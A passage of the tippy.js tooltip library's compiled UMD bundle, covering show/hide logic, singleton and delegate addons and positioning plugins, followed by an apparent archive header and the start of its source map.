after the reference element so the elements inside the // tippy can be tabbed to // If there are clipping issues, the user can specify a different appendTo // and ensure focus management is handled correctly manually var node = getCurrentTarget(); if (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO || appendTo === 'parent') { parentNode = node.parentNode; } else { parentNode = invokeWithArgsOrReturn(appendTo, [node]); } // The popper element needs to exist on the DOM before its position can be // updated as Popper needs to read its dimensions if (!parentNode.contains(popper)) { parentNode.appendChild(popper); } instance.state.isMounted = true; createPopperInstance(); /* istanbul ignore else */ { // Accessibility check warnWhen(instance.props.interactive && appendTo === defaultProps.appendTo && node.nextElementSibling !== popper, ['Interactive tippy element may not be accessible via keyboard', 'navigation because it is not directly after the reference element', 'in the DOM source order.', '\n\n', 'Using a wrapper <div> or <span> tag around the reference element', 'solves this by creating a new parentNode context.', '\n\n', 'Specifying `appendTo: document.body` silences this warning, but it', 'assumes you are using a focus management solution to handle', 'keyboard navigation.', '\n\n', 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity'].join(' ')); } } function getNestedPopperTree() { return arrayFrom(popper.querySelectorAll('[data-tippy-root]')); } function scheduleShow(event) { instance.clearDelayTimeouts(); if (event) { invokeHook('onTrigger', [instance, event]); } addDocumentPress(); var delay = getDelay(true); var _getNormalizedTouchSe = getNormalizedTouchSettings(), touchValue = _getNormalizedTouchSe[0], touchDelay = _getNormalizedTouchSe[1]; if (currentInput.isTouch && touchValue === 'hold' && touchDelay) { delay = touchDelay; } if (delay) { showTimeout = setTimeout(function () { instance.show(); }, delay); } else { instance.show(); } } function scheduleHide(event) { instance.clearDelayTimeouts(); invokeHook('onUntrigger', [instance, event]); if (!instance.state.isVisible) { removeDocumentPress(); return; } // For interactive tippies, scheduleHide is added to a document.body handler // from onMouseLeave so must intercept scheduled hides from mousemove/leave // events when trigger contains mouseenter and click, and the tip is // currently shown as a result of a click. if (instance.props.trigger.indexOf('mouseenter') >= 0 && instance.props.trigger.indexOf('click') >= 0 && ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 && isVisibleFromClick) { return; } var delay = getDelay(false); if (delay) { hideTimeout = setTimeout(function () { if (instance.state.isVisible) { instance.hide(); } }, delay); } else { // Fixes a `transitionend` problem when it fires 1 frame too // late sometimes, we don't want hide() to be called. scheduleHideAnimationFrame = requestAnimationFrame(function () { instance.hide(); }); } } // =========================================================================== // 🔑 Public methods // =========================================================================== function enable() { instance.state.isEnabled = true; } function disable() { // Disabling the instance should also hide it // https://github.com/atomiks/tippy.js-react/issues/106 instance.hide(); instance.state.isEnabled = false; } function clearDelayTimeouts() { clearTimeout(showTimeout); clearTimeout(hideTimeout); cancelAnimationFrame(scheduleHideAnimationFrame); } function setProps(partialProps) { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps')); } if (instance.state.isDestroyed) { return; } invokeHook('onBeforeUpdate', [instance, partialProps]); removeListeners(); var prevProps = instance.props; var nextProps = evaluateProps(reference, Object.assign({}, prevProps, removeUndefinedProps(partialProps), { ignoreAttributes: true })); instance.props = nextProps; addListeners(); if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) { cleanupInteractiveMouseListeners(); debouncedOnMouseMove = debounce(onMouseMove, nextProps.interactiveDebounce); } // Ensure stale aria-expanded attributes are removed if (prevProps.triggerTarget && !nextProps.triggerTarget) { normalizeToArray(prevProps.triggerTarget).forEach(function (node) { node.removeAttribute('aria-expanded'); }); } else if (nextProps.triggerTarget) { reference.removeAttribute('aria-expanded'); } handleAriaExpandedAttribute(); handleStyles(); if (onUpdate) { onUpdate(prevProps, nextProps); } if (instance.popperInstance) { createPopperInstance(); // Fixes an issue with nested tippies if they are all getting re-rendered, // and the nested ones get re-rendered first. // https://github.com/atomiks/tippyjs-react/issues/177 // TODO: find a cleaner / more efficient solution(!) getNestedPopperTree().forEach(function (nestedPopper) { // React (and other UI libs likely) requires a rAF wrapper as it flushes // its work in one requestAnimationFrame(nestedPopper._tippy.popperInstance.forceUpdate); }); } invokeHook('onAfterUpdate', [instance, partialProps]); } function setContent(content) { instance.setProps({ content: content }); } function show() { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show')); } // Early bail-out var isAlreadyVisible = instance.state.isVisible; var isDestroyed = instance.state.isDestroyed; var isDisabled = !instance.state.isEnabled; var isTouchAndTouchDisabled = currentInput.isTouch && !instance.props.touch; var duration = getValueAtIndexOrReturn(instance.props.duration, 0, defaultProps.duration); if (isAlreadyVisible || isDestroyed || isDisabled || isTouchAndTouchDisabled) { return; } // Normalize `disabled` behavior across browsers. // Firefox allows events on disabled elements, but Chrome doesn't. // Using a wrapper element (i.e. <span>) is recommended. if (getCurrentTarget().hasAttribute('disabled')) { return; } invokeHook('onShow', [instance], false); if (instance.props.onShow(instance) === false) { return; } instance.state.isVisible = true; if (getIsDefaultRenderFn()) { popper.style.visibility = 'visible'; } handleStyles(); addDocumentPress(); if (!instance.state.isMounted) { popper.style.transition = 'none'; } // If flipping to the opposite side after hiding at least once, the // animation will use the wrong placement without resetting the duration if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh2 = getDefaultTemplateChildren(), box = _getDefaultTemplateCh2.box, content = _getDefaultTemplateCh2.content; setTransitionDuration([box, content], 0); } onFirstUpdate = function onFirstUpdate() { var _instance$popperInsta2; if (!instance.state.isVisible || ignoreOnFirstUpdate) { return; } ignoreOnFirstUpdate = true; // reflow void popper.offsetHeight; popper.style.transition = instance.props.moveTransition; if (getIsDefaultRenderFn() && instance.props.animation) { var _getDefaultTemplateCh3 = getDefaultTemplateChildren(), _box = _getDefaultTemplateCh3.box, _content = _getDefaultTemplateCh3.content; setTransitionDuration([_box, _content], duration); setVisibilityState([_box, _content], 'visible'); } handleAriaContentAttribute(); handleAriaExpandedAttribute(); pushIfUnique(mountedInstances, instance); // certain modifiers (e.g. `maxSize`) require a second update after the // popper has been positioned for the first time (_instance$popperInsta2 = instance.popperInstance) == null ? void 0 : _instance$popperInsta2.forceUpdate(); invokeHook('onMount', [instance]); if (instance.props.animation && getIsDefaultRenderFn()) { onTransitionedIn(duration, function () { instance.state.isShown = true; invokeHook('onShown', [instance]); }); } }; mount(); } function hide() { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide')); } // Early bail-out var isAlreadyHidden = !instance.state.isVisible; var isDestroyed = instance.state.isDestroyed; var isDisabled = !instance.state.isEnabled; var duration = getValueAtIndexOrReturn(instance.props.duration, 1, defaultProps.duration); if (isAlreadyHidden || isDestroyed || isDisabled) { return; } invokeHook('onHide', [instance], false); if (instance.props.onHide(instance) === false) { return; } instance.state.isVisible = false; instance.state.isShown = false; ignoreOnFirstUpdate = false; isVisibleFromClick = false; if (getIsDefaultRenderFn()) { popper.style.visibility = 'hidden'; } cleanupInteractiveMouseListeners(); removeDocumentPress(); handleStyles(true); if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh4 = getDefaultTemplateChildren(), box = _getDefaultTemplateCh4.box, content = _getDefaultTemplateCh4.content; if (instance.props.animation) { setTransitionDuration([box, content], duration); setVisibilityState([box, content], 'hidden'); } } handleAriaContentAttribute(); handleAriaExpandedAttribute(); if (instance.props.animation) { if (getIsDefaultRenderFn()) { onTransitionedOut(duration, instance.unmount); } } else { instance.unmount(); } } function hideWithInteractivity(event) { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hideWithInteractivity')); } getDocument().addEventListener('mousemove', debouncedOnMouseMove); pushIfUnique(mouseMoveListeners, debouncedOnMouseMove); debouncedOnMouseMove(event); } function unmount() { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount')); } if (instance.state.isVisible) { instance.hide(); } if (!instance.state.isMounted) { return; } destroyPopperInstance(); // If a popper is not interactive, it will be appended outside the popper // tree by default. This seems mainly for interactive tippies, but we should // find a workaround if possible getNestedPopperTree().forEach(function (nestedPopper) { nestedPopper._tippy.unmount(); }); if (popper.parentNode) { popper.parentNode.removeChild(popper); } mountedInstances = mountedInstances.filter(function (i) { return i !== instance; }); instance.state.isMounted = false; invokeHook('onHidden', [instance]); } function destroy() { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy')); } if (instance.state.isDestroyed) { return; } instance.clearDelayTimeouts(); instance.unmount(); removeListeners(); delete reference._tippy; instance.state.isDestroyed = true; invokeHook('onDestroy', [instance]); } } function tippy(targets, optionalProps) { if (optionalProps === void 0) { optionalProps = {}; } var plugins = defaultProps.plugins.concat(optionalProps.plugins || []); /* istanbul ignore else */ { validateTargets(targets); validateProps(optionalProps, plugins); } bindGlobalEventListeners(); var passedProps = Object.assign({}, optionalProps, { plugins: plugins }); var elements = getArrayOfElements(targets); /* istanbul ignore else */ { var isSingleContentElement = isElement(passedProps.content); var isMoreThanOneReferenceElement = elements.length > 1; warnWhen(isSingleContentElement && isMoreThanOneReferenceElement, ['tippy() was passed an Element as the `content` prop, but more than', 'one tippy instance was created by this invocation. This means the', 'content element will only be appended to the last tippy instance.', '\n\n', 'Instead, pass the .innerHTML of the element, or use a function that', 'returns a cloned version of the element instead.', '\n\n', '1) content: element.innerHTML\n', '2) content: () => element.cloneNode(true)'].join(' ')); } var instances = elements.reduce(function (acc, reference) { var instance = reference && createTippy(reference, passedProps); if (instance) { acc.push(instance); } return acc; }, []); return isElement(targets) ? instances[0] : instances; } tippy.defaultProps = defaultProps; tippy.setDefaultProps = setDefaultProps; tippy.currentInput = currentInput; var hideAll = function hideAll(_temp) { var _ref = _temp === void 0 ? {} : _temp, excludedReferenceOrInstance = _ref.exclude, duration = _ref.duration; mountedInstances.forEach(function (instance) { var isExcluded = false; if (excludedReferenceOrInstance) { isExcluded = isReferenceElement(excludedReferenceOrInstance) ? instance.reference === excludedReferenceOrInstance : instance.popper === excludedReferenceOrInstance.popper; } if (!isExcluded) { var originalDuration = instance.props.duration; instance.setProps({ duration: duration }); instance.hide(); if (!instance.state.isDestroyed) { instance.setProps({ duration: originalDuration }); } } }); }; // every time the popper is destroyed (i.e. a new target), removing the styles // and causing transitions to break for singletons when the console is open, but // most notably for non-transform styles being used, `gpuAcceleration: false`. var applyStylesModifier = Object.assign({}, core.applyStyles, { effect: function effect(_ref) { var state = _ref.state; var initialStyles = { popper: { position: state.options.strategy, left: '0', top: '0', margin: '0' }, arrow: { position: 'absolute' }, reference: {} }; Object.assign(state.elements.popper.style, initialStyles.popper); state.styles = initialStyles; if (state.elements.arrow) { Object.assign(state.elements.arrow.style, initialStyles.arrow); } // intentionally return no cleanup function // return () => { ... } } }); var createSingleton = function createSingleton(tippyInstances, optionalProps) { var _optionalProps$popper; if (optionalProps === void 0) { optionalProps = {}; } /* istanbul ignore else */ { errorWhen(!Array.isArray(tippyInstances), ['The first argument passed to createSingleton() must be an array of', 'tippy instances. The passed value was', String(tippyInstances)].join(' ')); } var individualInstances = tippyInstances; var references = []; var triggerTargets = []; var currentTarget; var overrides = optionalProps.overrides; var interceptSetPropsCleanups = []; var shownOnCreate = false; function setTriggerTargets() { triggerTargets = individualInstances.map(function (instance) { return normalizeToArray(instance.props.triggerTarget || instance.reference); }).reduce(function (acc, item) { return acc.concat(item); }, []); } function setReferences() { references = individualInstances.map(function (instance) { return instance.reference; }); } function enableInstances(isEnabled) { individualInstances.forEach(function (instance) { if (isEnabled) { instance.enable(); } else { instance.disable(); } }); } function interceptSetProps(singleton) { return individualInstances.map(function (instance) { var originalSetProps = instance.setProps; instance.setProps = function (props) { originalSetProps(props); if (instance.reference === currentTarget) { singleton.setProps(props); } }; return function () { instance.setProps = originalSetProps; }; }); } // have to pass singleton, as it maybe undefined on first call function prepareInstance(singleton, target) { var index = triggerTargets.indexOf(target); // bail-out if (target === currentTarget) { return; } currentTarget = target; var overrideProps = (overrides || []).concat('content').reduce(function (acc, prop) { acc[prop] = individualInstances[index].props[prop]; return acc; }, {}); singleton.setProps(Object.assign({}, overrideProps, { getReferenceClientRect: typeof overrideProps.getReferenceClientRect === 'function' ? overrideProps.getReferenceClientRect : function () { var _references$index; return (_references$index = references[index]) == null ? void 0 : _references$index.getBoundingClientRect(); } })); } enableInstances(false); setReferences(); setTriggerTargets(); var plugin = { fn: function fn() { return { onDestroy: function onDestroy() { enableInstances(true); }, onHidden: function onHidden() { currentTarget = null; }, onClickOutside: function onClickOutside(instance) { if (instance.props.showOnCreate && !shownOnCreate) { shownOnCreate = true; currentTarget = null; } }, onShow: function onShow(instance) { if (instance.props.showOnCreate && !shownOnCreate) { shownOnCreate = true; prepareInstance(instance, references[0]); } }, onTrigger: function onTrigger(instance, event) { prepareInstance(instance, event.currentTarget); } }; } }; var singleton = tippy(div(), Object.assign({}, removeProperties(optionalProps, ['overrides']), { plugins: [plugin].concat(optionalProps.plugins || []), triggerTarget: triggerTargets, popperOptions: Object.assign({}, optionalProps.popperOptions, { modifiers: [].concat(((_optionalProps$popper = optionalProps.popperOptions) == null ? void 0 : _optionalProps$popper.modifiers) || [], [applyStylesModifier]) }) })); var originalShow = singleton.show; singleton.show = function (target) { originalShow(); // first time, showOnCreate or programmatic call with no params // default to showing first instance if (!currentTarget && target == null) { return prepareInstance(singleton, references[0]); } // triggered from event (do nothing as prepareInstance already called by onTrigger) // programmatic call with no params when already visible (do nothing again) if (currentTarget && target == null) { return; } // target is index of instance if (typeof target === 'number') { return references[target] && prepareInstance(singleton, references[target]); } // target is a child tippy instance if (individualInstances.indexOf(target) >= 0) { var ref = target.reference; return prepareInstance(singleton, ref); } // target is a ReferenceElement if (references.indexOf(target) >= 0) { return prepareInstance(singleton, target); } }; singleton.showNext = function () { var first = references[0]; if (!currentTarget) { return singleton.show(0); } var index = references.indexOf(currentTarget); singleton.show(references[index + 1] || first); }; singleton.showPrevious = function () { var last = references[references.length - 1]; if (!currentTarget) { return singleton.show(last); } var index = references.indexOf(currentTarget); var target = references[index - 1] || last; singleton.show(target); }; var originalSetProps = singleton.setProps; singleton.setProps = function (props) { overrides = props.overrides || overrides; originalSetProps(props); }; singleton.setInstances = function (nextInstances) { enableInstances(true); interceptSetPropsCleanups.forEach(function (fn) { return fn(); }); individualInstances = nextInstances; enableInstances(false); setReferences(); setTriggerTargets(); interceptSetPropsCleanups = interceptSetProps(singleton); singleton.setProps({ triggerTarget: triggerTargets }); }; interceptSetPropsCleanups = interceptSetProps(singleton); return singleton; }; var BUBBLING_EVENTS_MAP = { mouseover: 'mouseenter', focusin: 'focus', click: 'click' }; /** * Creates a delegate instance that controls the creation of tippy instances * for child elements (`target` CSS selector). */ function delegate(targets, props) { /* istanbul ignore else */ { errorWhen(!(props && props.target), ['You must specity a `target` prop indicating a CSS selector string matching', 'the target elements that should receive a tippy.'].join(' ')); } var listeners = []; var childTippyInstances = []; var disabled = false; var target = props.target; var nativeProps = removeProperties(props, ['target']); var parentProps = Object.assign({}, nativeProps, { trigger: 'manual', touch: false }); var childProps = Object.assign({ touch: defaultProps.touch }, nativeProps, { showOnCreate: true }); var returnValue = tippy(targets, parentProps); var normalizedReturnValue = normalizeToArray(returnValue); function onTrigger(event) { if (!event.target || disabled) { return; } var targetNode = event.target.closest(target); if (!targetNode) { return; } // Get relevant trigger with fallbacks: // 1. Check `data-tippy-trigger` attribute on target node // 2. Fallback to `trigger` passed to `delegate()` // 3. Fallback to `defaultProps.trigger` var trigger = targetNode.getAttribute('data-tippy-trigger') || props.trigger || defaultProps.trigger; // @ts-ignore if (targetNode._tippy) { return; } if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') { return; } if (event.type !== 'touchstart' && trigger.indexOf(BUBBLING_EVENTS_MAP[event.type]) < 0) { return; } var instance = tippy(targetNode, childProps); if (instance) { childTippyInstances = childTippyInstances.concat(instance); } } function on(node, eventType, handler, options) { if (options === void 0) { options = false; } node.addEventListener(eventType, handler, options); listeners.push({ node: node, eventType: eventType, handler: handler, options: options }); } function addEventListeners(instance) { var reference = instance.reference; on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS); on(reference, 'mouseover', onTrigger); on(reference, 'focusin', onTrigger); on(reference, 'click', onTrigger); } function removeEventListeners() { listeners.forEach(function (_ref) { var node = _ref.node, eventType = _ref.eventType, handler = _ref.handler, options = _ref.options; node.removeEventListener(eventType, handler, options); }); listeners = []; } function applyMutations(instance) { var originalDestroy = instance.destroy; var originalEnable = instance.enable; var originalDisable = instance.disable; instance.destroy = function (shouldDestroyChildInstances) { if (shouldDestroyChildInstances === void 0) { shouldDestroyChildInstances = true; } if (shouldDestroyChildInstances) { childTippyInstances.forEach(function (instance) { instance.destroy(); }); } childTippyInstances = []; removeEventListeners(); originalDestroy(); }; instance.enable = function () { originalEnable(); childTippyInstances.forEach(function (instance) { return instance.enable(); }); disabled = false; }; instance.disable = function () { originalDisable(); childTippyInstances.forEach(function (instance) { return instance.disable(); }); disabled = true; }; addEventListeners(instance); } normalizedReturnValue.forEach(applyMutations); return returnValue; } var animateFill = { name: 'animateFill', defaultValue: false, fn: function fn(instance) { var _instance$props$rende; // @ts-ignore if (!((_instance$props$rende = instance.props.render) != null && _instance$props$rende.$$tippy)) { { errorWhen(instance.props.animateFill, 'The `animateFill` plugin requires the default render function.'); } return {}; } var _getChildren = getChildren(instance.popper), box = _getChildren.box, content = _getChildren.content; var backdrop = instance.props.animateFill ? createBackdropElement() : null; return { onCreate: function onCreate() { if (backdrop) { box.insertBefore(backdrop, box.firstElementChild); box.setAttribute('data-animatefill', ''); box.style.overflow = 'hidden'; instance.setProps({ arrow: false, animation: 'shift-away' }); } }, onMount: function onMount() { if (backdrop) { var transitionDuration = box.style.transitionDuration; var duration = Number(transitionDuration.replace('ms', '')); // The content should fade in after the backdrop has mostly filled the // tooltip element. `clip-path` is the other alternative but is not // well-supported and is buggy on some devices. content.style.transitionDelay = Math.round(duration / 10) + "ms"; backdrop.style.transitionDuration = transitionDuration; setVisibilityState([backdrop], 'visible'); } }, onShow: function onShow() { if (backdrop) { backdrop.style.transitionDuration = '0ms'; } }, onHide: function onHide() { if (backdrop) { setVisibilityState([backdrop], 'hidden'); } } }; } }; function createBackdropElement() { var backdrop = div(); backdrop.className = BACKDROP_CLASS; setVisibilityState([backdrop], 'hidden'); return backdrop; } var mouseCoords = { clientX: 0, clientY: 0 }; var activeInstances = []; function storeMouseCoords(_ref) { var clientX = _ref.clientX, clientY = _ref.clientY; mouseCoords = { clientX: clientX, clientY: clientY }; } function addMouseCoordsListener(doc) { doc.addEventListener('mousemove', storeMouseCoords); } function removeMouseCoordsListener(doc) { doc.removeEventListener('mousemove', storeMouseCoords); } var followCursor = { name: 'followCursor', defaultValue: false, fn: function fn(instance) { var reference = instance.reference; var doc = getOwnerDocument(instance.props.triggerTarget || reference); var isInternalUpdate = false; var wasFocusEvent = false; var isUnmounted = true; var prevProps = instance.props; function getIsInitialBehavior() { return instance.props.followCursor === 'initial' && instance.state.isVisible; } function addListener() { doc.addEventListener('mousemove', onMouseMove); } function removeListener() { doc.removeEventListener('mousemove', onMouseMove); } function unsetGetReferenceClientRect() { isInternalUpdate = true; instance.setProps({ getReferenceClientRect: null }); isInternalUpdate = false; } function onMouseMove(event) { // If the instance is interactive, avoid updating the position unless it's // over the reference element var isCursorOverReference = event.target ? reference.contains(event.target) : true; var followCursor = instance.props.followCursor; var clientX = event.clientX, clientY = event.clientY; var rect = reference.getBoundingClientRect(); var relativeX = clientX - rect.left; var relativeY = clientY - rect.top; if (isCursorOverReference || !instance.props.interactive) { instance.setProps({ // @ts-ignore - unneeded DOMRect properties getReferenceClientRect: function getReferenceClientRect() { var rect = reference.getBoundingClientRect(); var x = clientX; var y = clientY; if (followCursor === 'initial') { x = rect.left + relativeX; y = rect.top + relativeY; } var top = followCursor === 'horizontal' ? rect.top : y; var right = followCursor === 'vertical' ? rect.right : x; var bottom = followCursor === 'horizontal' ? rect.bottom : y; var left = followCursor === 'vertical' ? rect.left : x; return { width: right - left, height: bottom - top, top: top, right: right, bottom: bottom, left: left }; } }); } } function create() { if (instance.props.followCursor) { activeInstances.push({ instance: instance, doc: doc }); addMouseCoordsListener(doc); } } function destroy() { activeInstances = activeInstances.filter(function (data) { return data.instance !== instance; }); if (activeInstances.filter(function (data) { return data.doc === doc; }).length === 0) { removeMouseCoordsListener(doc); } } return { onCreate: create, onDestroy: destroy, onBeforeUpdate: function onBeforeUpdate() { prevProps = instance.props; }, onAfterUpdate: function onAfterUpdate(_, _ref2) { var followCursor = _ref2.followCursor; if (isInternalUpdate) { return; } if (followCursor !== undefined && prevProps.followCursor !== followCursor) { destroy(); if (followCursor) { create(); if (instance.state.isMounted && !wasFocusEvent && !getIsInitialBehavior()) { addListener(); } } else { removeListener(); unsetGetReferenceClientRect(); } } }, onMount: function onMount() { if (instance.props.followCursor && !wasFocusEvent) { if (isUnmounted) { onMouseMove(mouseCoords); isUnmounted = false; } if (!getIsInitialBehavior()) { addListener(); } } }, onTrigger: function onTrigger(_, event) { if (isMouseEvent(event)) { mouseCoords = { clientX: event.clientX, clientY: event.clientY }; } wasFocusEvent = event.type === 'focus'; }, onHidden: function onHidden() { if (instance.props.followCursor) { unsetGetReferenceClientRect(); removeListener(); isUnmounted = true; } } }; } }; function getProps(props, modifier) { var _props$popperOptions; return { popperOptions: Object.assign({}, props.popperOptions, { modifiers: [].concat((((_props$popperOptions = props.popperOptions) == null ? void 0 : _props$popperOptions.modifiers) || []).filter(function (_ref) { var name = _ref.name; return name !== modifier.name; }), [modifier]) }) }; } var inlinePositioning = { name: 'inlinePositioning', defaultValue: false, fn: function fn(instance) { var reference = instance.reference; function isEnabled() { return !!instance.props.inlinePositioning; } var placement; var cursorRectIndex = -1; var isInternalUpdate = false; var triedPlacements = []; var modifier = { name: 'tippyInlinePositioning', enabled: true, phase: 'afterWrite', fn: function fn(_ref2) { var state = _ref2.state; if (isEnabled()) { if (triedPlacements.indexOf(state.placement) !== -1) { triedPlacements = []; } if (placement !== state.placement && triedPlacements.indexOf(state.placement) === -1) { triedPlacements.push(state.placement); instance.setProps({ // @ts-ignore - unneeded DOMRect properties getReferenceClientRect: function getReferenceClientRect() { return _getReferenceClientRect(state.placement); } }); } placement = state.placement; } } }; function _getReferenceClientRect(placement) { return getInlineBoundingClientRect(getBasePlacement(placement), reference.getBoundingClientRect(), arrayFrom(reference.getClientRects()), cursorRectIndex); } function setInternalProps(partialProps) { isInternalUpdate = true; instance.setProps(partialProps); isInternalUpdate = false; } function addModifier() { if (!isInternalUpdate) { setInternalProps(getProps(instance.props, modifier)); } } return { onCreate: addModifier, onAfterUpdate: addModifier, onTrigger: function onTrigger(_, event) { if (isMouseEvent(event)) { var rects = arrayFrom(instance.reference.getClientRects()); var cursorRect = rects.find(function (rect) { return rect.left - 2 <= event.clientX && rect.right + 2 >= event.clientX && rect.top - 2 <= event.clientY && rect.bottom + 2 >= event.clientY; }); var index = rects.indexOf(cursorRect); cursorRectIndex = index > -1 ? index : cursorRectIndex; } }, onHidden: function onHidden() { cursorRectIndex = -1; } }; } }; function getInlineBoundingClientRect(currentBasePlacement, boundingRect, clientRects, cursorRectIndex) { // Not an inline element, or placement is not yet known if (clientRects.length < 2 || currentBasePlacement === null) { return boundingRect; } // There are two rects and they are disjoined if (clientRects.length === 2 && cursorRectIndex >= 0 && clientRects[0].left > clientRects[1].right) { return clientRects[cursorRectIndex] || boundingRect; } switch (currentBasePlacement) { case 'top': case 'bottom': { var firstRect = clientRects[0]; var lastRect = clientRects[clientRects.length - 1]; var isTop = currentBasePlacement === 'top'; var top = firstRect.top; var bottom = lastRect.bottom; var left = isTop ? firstRect.left : lastRect.left; var right = isTop ? firstRect.right : lastRect.right; var width = right - left; var height = bottom - top; return { top: top, bottom: bottom, left: left, right: right, width: width, height: height }; } case 'left': case 'right': { var minLeft = Math.min.apply(Math, clientRects.map(function (rects) { return rects.left; })); var maxRight = Math.max.apply(Math, clientRects.map(function (rects) { return rects.right; })); var measureRects = clientRects.filter(function (rect) { return currentBasePlacement === 'left' ? rect.left === minLeft : rect.right === maxRight; }); var _top = measureRects[0].top; var _bottom = measureRects[measureRects.length - 1].bottom; var _left = minLeft; var _right = maxRight; var _width = _right - _left; var _height = _bottom - _top; return { top: _top, bottom: _bottom, left: _left, right: _right, width: _width, height: _height }; } default: { return boundingRect; } } } var sticky = { name: 'sticky', defaultValue: false, fn: function fn(instance) { var reference = instance.reference, popper = instance.popper; function getReference() { return instance.popperInstance ? instance.popperInstance.state.elements.reference : reference; } function shouldCheck(value) { return instance.props.sticky === true || instance.props.sticky === value; } var prevRefRect = null; var prevPopRect = null; function updatePosition() { var currentRefRect = shouldCheck('reference') ? getReference().getBoundingClientRect() : null; var currentPopRect = shouldCheck('popper') ? popper.getBoundingClientRect() : null; if (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect) || currentPopRect && areRectsDifferent(prevPopRect, currentPopRect)) { if (instance.popperInstance) { instance.popperInstance.update(); } } prevRefRect = currentRefRect; prevPopRect = currentPopRect; if (instance.state.isMounted) { requestAnimationFrame(updatePosition); } } return { onMount: function onMount() { if (instance.props.sticky) { updatePosition(); } } }; } }; function areRectsDifferent(rectA, rectB) { if (rectA && rectB) { return rectA.top !== rectB.top || rectA.right !== rectB.right || rectA.bottom !== rectB.bottom || rectA.left !== rectB.left; } return true; } tippy.setDefaultProps({ plugins: [animateFill, followCursor, inlinePositioning, sticky], render: render }); tippy.createSingleton = createSingleton; tippy.delegate = delegate; tippy.hideAll = hideAll; tippy.roundArrow = ROUND_ARROW; return tippy; }))); //# sourceMappingURL=tippy.umd.js.map dist/tippy-bundle.umd.js.map 0000666 00000467566 15167156642 0012072 0 ustar 00 {"version":3,"file":"tippy-bundle.umd.js","sources":["../src/css.ts","../src/browser.ts","../src/constants.ts","../src/utils.ts","../src/dom-utils.ts","../src/bindGlobalEventListeners.ts","../src/validation.ts","../src/props.ts","../src/template.ts","../src/createTippy.ts","../src/index.ts","../src/addons/createSingleton.ts","../src/addons/delegate.ts","../src/plugins/animateFill.ts","../src/plugins/followCursor.ts","../src/plugins/inlinePositioning.ts","../src/plugins/sticky.ts","../build/bundle-umd.js"],"sourcesContent":["export function injectCSS(css: string): void {\n const style = document.createElement('style');\n style.textContent = css;\n style.setAttribute('data-__NAMESPACE_PREFIX__-stylesheet', '');\n const head = document.head;\n const firstStyleOrLinkTag = document.querySelector('head>style,head>link');\n\n if (firstStyleOrLinkTag) {\n head.insertBefore(style, firstStyleOrLinkTag);\n } else {\n head.appendChild(style);\n }\n}\n","export const isBrowser =\n typeof window !== 'undefined' && typeof document !== 'undefined';\n\nexport const isIE11 = isBrowser\n ? // @ts-ignore\n !!window.msCrypto\n : false;\n","export const ROUND_ARROW =\n '<svg width=\"16\" height=\"6\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z\"></svg>';\n\nexport const BOX_CLASS = `__NAMESPACE_PREFIX__-box`;\nexport const CONTENT_CLASS = `__NAMESPACE_PREFIX__-content`;\nexport const BACKDROP_CLASS = `__NAMESPACE_PREFIX__-backdrop`;\nexport const ARROW_CLASS = `__NAMESPACE_PREFIX__-arrow`;\nexport const SVG_ARROW_CLASS = `__NAMESPACE_PREFIX__-svg-arrow`;\n\nexport const TOUCH_OPTIONS = {passive: true, capture: true};\n\nexport const TIPPY_DEFAULT_APPEND_TO = () => document.body;\n","import {BasePlacement, Placement} from './types';\n\nexport function hasOwnProperty(\n obj: Record<string, unknown>,\n key: string\n): boolean {\n return {}.hasOwnProperty.call(obj, key);\n}\n\nexport function getValueAtIndexOrReturn<T>(\n value: T | [T | null, T | null],\n index: number,\n defaultValue: T | [T, T]\n): T {\n if (Array.isArray(value)) {\n const v = value[index];\n return v == null\n ? Array.isArray(defaultValue)\n ? defaultValue[index]\n : defaultValue\n : v;\n }\n\n return value;\n}\n\nexport function isType(value: any, type: string): boolean {\n const str = {}.toString.call(value);\n return str.indexOf('[object') === 0 && str.indexOf(`${type}]`) > -1;\n}\n\nexport function invokeWithArgsOrReturn(value: any, args: any[]): any {\n return typeof value === 'function' ? value(...args) : value;\n}\n\nexport function debounce<T>(\n fn: (arg: T) => void,\n ms: number\n): (arg: T) => void {\n // Avoid wrapping in `setTimeout` if ms is 0 anyway\n if (ms === 0) {\n return fn;\n }\n\n let timeout: any;\n\n return (arg): void => {\n clearTimeout(timeout);\n timeout = setTimeout(() => {\n fn(arg);\n }, ms);\n };\n}\n\nexport function removeProperties<T>(obj: T, keys: string[]): Partial<T> {\n const clone = {...obj};\n keys.forEach((key) => {\n delete (clone as any)[key];\n });\n return clone;\n}\n\nexport function splitBySpaces(value: string): string[] {\n return value.split(/\\s+/).filter(Boolean);\n}\n\nexport function normalizeToArray<T>(value: T | T[]): T[] {\n return ([] as T[]).concat(value);\n}\n\nexport function pushIfUnique<T>(arr: T[], value: T): void {\n if (arr.indexOf(value) === -1) {\n arr.push(value);\n }\n}\n\nexport function appendPxIfNumber(value: string | number): string {\n return typeof value === 'number' ? `${value}px` : value;\n}\n\nexport function unique<T>(arr: T[]): T[] {\n return arr.filter((item, index) => arr.indexOf(item) === index);\n}\n\nexport function getNumber(value: string | number): number {\n return typeof value === 'number' ? value : parseFloat(value);\n}\n\nexport function getBasePlacement(placement: Placement): BasePlacement {\n return placement.split('-')[0] as BasePlacement;\n}\n\nexport function arrayFrom(value: ArrayLike<any>): any[] {\n return [].slice.call(value);\n}\n\nexport function removeUndefinedProps(\n obj: Record<string, unknown>\n): Partial<Record<string, unknown>> {\n return Object.keys(obj).reduce((acc, key) => {\n if (obj[key] !== undefined) {\n (acc as any)[key] = 